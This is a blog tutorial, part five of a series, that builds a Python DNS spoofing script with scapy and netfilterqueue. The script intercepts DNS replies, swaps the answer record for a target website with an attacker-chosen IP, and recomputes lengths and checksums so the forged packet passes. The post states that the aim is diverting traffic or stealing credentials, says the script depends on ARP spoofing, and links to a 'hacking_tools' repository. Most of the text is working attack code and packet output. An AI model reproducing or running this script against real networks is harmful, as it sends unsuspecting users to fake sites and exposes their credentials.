DNS spoofer with scapy — Part 5

Maksym Postument
Sep 3, 2018 · 6 min read

Hello friends, we are going to write a python script for dns sniffer attack.

DNS Spoofing is a type of computer attack wherein a user is forced to navigate to a fake website disguised to look like a real one, with the intention of diverting traffic or stealing credentials of the users. Spoofing attacks can go on for a long period of time without being detected and can cause serious security issues.

To perform this attack we going two use two python packages netfilterqueue and scapy, also i am going to add argparse

pip install netfilterqueue
pip install scapy

Import this packages at the to of python file and add get_arguments function which can read option from the termina

import netfilterqueue
import scapy.all as scapy
import argparse
def get_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-w", "--website", dest="website",
help="Website url")
parser.add_argument("-i", "--ip-address", dest="ip",
help="Hacker IP address")
options = parser.parse_args()
return options

And create netfilterqueue object:

queue = netfilterqueue.NetfilterQueue()

To bind method with queue we are going to use bind method.

QueueHandler.bind(queue_num, callback[, max_len[, mode[, range, [sock_len]]]])

Create and bind to the queue. queue_num must match the number in your iptables rule. callback is a function or method that takes one argument, a Packet object (see below). max_len sets the largest number of packets that can be in the queue; new packets are dropped if the size of the queue reaches this number. mode determines how much of the packet data is provided to your script. Use the constants above. range defines how many bytes of the packet you want to get. For example, if you only want the source and destination IPs of a IPv4 packet, range could be 20. sock_len sets the receive socket buffer size.

queue.bind(0, spoof_packet)

0 — queue number from iptables command.

drop_packet — function which we are going to create.

Run queue:

queue.run()

Now we need to implement spoof_packet function:

def spoof_packet(packet):
options = get_arguments()

This part of code read options specified in the terminal and save it into options variable

Next what we are to transform netfilterqueue into scapy packet. This will allow us to use scapy to modify this packet.

dns_packet = scapy.IP(packet.get_payload())

We are going to do DNS spoofing so we need to check if a packet has DNS Resource Record layer.

if dns_packet.haslayer(scapy.DNSRR):

Print function can be used to display packet content:

print(dns_packet.show())# Print output
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 505
id = 39954
flags =
frag = 0
ttl = 254
proto = udp
chksum = 0xe75b
src = 10.128.33.2
dst = 10.0.2.4
\options \
###[ UDP ]###
sport = domain
dport = 50308
len = 485
chksum = 0x86cb
###[ DNS ]###
id = 20683
qr = 1
opcode = QUERY
aa = 0
tc = 0
rd = 1
ra = 1
z = 0
ad = 0
cd = 0
rcode = ok
qdcount = 1
ancount = 3
nscount = 8
arcount = 9
\qd \
|###[ DNS Question Record ]###
| qname = 'cdn.content.prod.cms.msn.com.'
| qtype = A
| qclass = IN
\an \
|###[ DNS Resource Record ]###
| rrname = 'cdn.content.prod.cms.msn.com.'
| type = CNAME
| rclass = IN
| ttl = 377
| rdlen = 42
| rdata = 'cdn.content.prod.cms.msn.com.edgekey.net.'
|###[ DNS Resource Record ]###
| rrname = 'cdn.content.prod.cms.msn.com.edgekey.net.'
| type = CNAME
| rclass = IN
| ttl = 816
| rdlen = 28
| rdata = 'e10663.dscg.akamaiedge.net.'
|###[ DNS Resource Record ]###
| rrname = 'e10663.dscg.akamaiedge.net.'
| type = A
| rclass = IN
| ttl = 17
| rdlen = 4
| rdata = '2.18.14.63'
\ns \
|###[ DNS Resource Record ]###
| rrname = 'dscg.akamaiedge.net.'
| type = NS
| rclass = IN
| ttl = 2205
| rdlen = 23
| rdata = 'n3dscg.akamaiedge.net.'
|###[ DNS Resource Record ]###
| rrname = 'dscg.akamaiedge.net.'
| type = NS
| rclass = IN
| ttl = 2205
| rdlen = 23
| rdata = 'n1dscg.akamaiedge.net.'
|###[ DNS Resource Record ]###
| rrname = 'dscg.akamaiedge.net.'
| type = NS
| rclass = IN
| ttl = 2205
| rdlen = 23
| rdata = 'n5dscg.akamaiedge.net.'
|###[ DNS Resource Record ]###
| rrname = 'dscg.akamaiedge.net.'
| type = NS
| rclass = IN
| ttl = 2205
| rdlen = 23
| rdata = 'n7dscg.akamaiedge.net.'
|###[ DNS Resource Record ]###
| rrname = 'dscg.akamaiedge.net.'
| type = NS
| rclass = IN
| ttl = 2205
| rdlen = 23
| rdata = 'n2dscg.akamaiedge.net.'
|###[ DNS Resource Record ]###
| rrname = 'dscg.akamaiedge.net.'
| type = NS
| rclass = IN
| ttl = 2205
| rdlen = 23
| rdata = 'n4dscg.akamaiedge.net.'
|###[ DNS Resource Record ]###
| rrname = 'dscg.akamaiedge.net.'
| type = NS
| rclass = IN
| ttl = 2205
| rdlen = 23
| rdata = 'n0dscg.akamaiedge.net.'
|###[ DNS Resource Record ]###
| rrname = 'dscg.akamaiedge.net.'
| type = NS
| rclass = IN
| ttl = 2205
| rdlen = 23
| rdata = 'n6dscg.akamaiedge.net.'
\ar \
|###[ DNS Resource Record ]###
| rrname = 'n4dscg.akamaiedge.net.'
| type = A
| rclass = IN
| ttl = 783
| rdlen = 4
| rdata = '2.16.172.165'
|###[ DNS Resource Record ]###
| rrname = 'n6dscg.akamaiedge.net.'
| type = A
| rclass = IN
| ttl = 783
| rdlen = 4
| rdata = '2.16.172.167'
|###[ DNS Resource Record ]###
| rrname = 'n0dscg.akamaiedge.net.'
| type = A
| rclass = IN
| ttl = 2205
| rdlen = 4
| rdata = '88.221.81.192'
|###[ DNS Resource Record ]###
| rrname = 'n0dscg.akamaiedge.net.'
| type = AAAA
| rclass = IN
| ttl = 2205
| rdlen = 16
| rdata = '2600:1480:e800::c0'
|###[ DNS Resource Record ]###
| rrname = 'n7dscg.akamaiedge.net.'
| type = A
| rclass = IN
| ttl = 3637
| rdlen = 4
| rdata = '96.17.148.54'
|###[ DNS Resource Record ]###
| rrname = 'n3dscg.akamaiedge.net.'
| type = A
| rclass = IN
| ttl = 1387
| rdlen = 4
| rdata = '2.16.172.151'
|###[ DNS Resource Record ]###
| rrname = 'n5dscg.akamaiedge.net.'
| type = A
| rclass = IN
| ttl = 2205
| rdlen = 4
| rdata = '96.17.148.45'
|###[ DNS Resource Record ]###
| rrname = 'n1dscg.akamaiedge.net.'
| type = A
| rclass = IN
| ttl = 3637
| rdlen = 4
| rdata = '2.16.172.151'
|###[ DNS Resource Record ]###
| rrname = 'n2dscg.akamaiedge.net.'
| type = A
| rclass = IN
| ttl = 2205
| rdlen = 4
| rdata = '96.17.148.55'

Now we can work with this data to perform the attack. We are not going to spoof all DNS records. To run attack only for the specific website we need to compare packet content with our expected value:

qname = dns_packet[scapy.DNSQR].qname
if options.website in qname:

When we got packet which we need we can start the modification. At first, we need to generate new DNS Resource Record part of packet where website IP address replaced with hacker IP:

dns_responce = scapy.DNSRR(rrname=qname, rdata=options.ip)

And we need to replace a value in packet with our generated value

dns_packet[scapy.DNS].an = dns_responce

Also, we need to replace ancount value with number 1. Because we are sending only one DNS Resource Record and value in our packet is 3.

dns_packet[scapy.DNS].ancount = 1

Also, a packet contains len and checksum, which allow a target to identify if a packet was not changed. We can remove this value from packet and scapy generate new one. This need to be done for IP and UDP:

del dns_packet[scapy.IP].len
del dns_packet[scapy.IP].chksum
del dns_packet[scapy.UDP].len
del dns_packet[scapy.UDP].chksum

And packet is ready to be sent:

packet.set_payload(str(dns_packet))
packet.accept()

In order to make this script arp_spoofing should run and packet forwarding enabled

The full code can be found in my GitHub — https://github.com/Infectsoldier/hacking_tools/blob/master/dns_spoof/dns_spoof.py

In the next post, I am going to demonstrate how this script can be used to perform an attack

Check my blog — https://makspostument.com

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade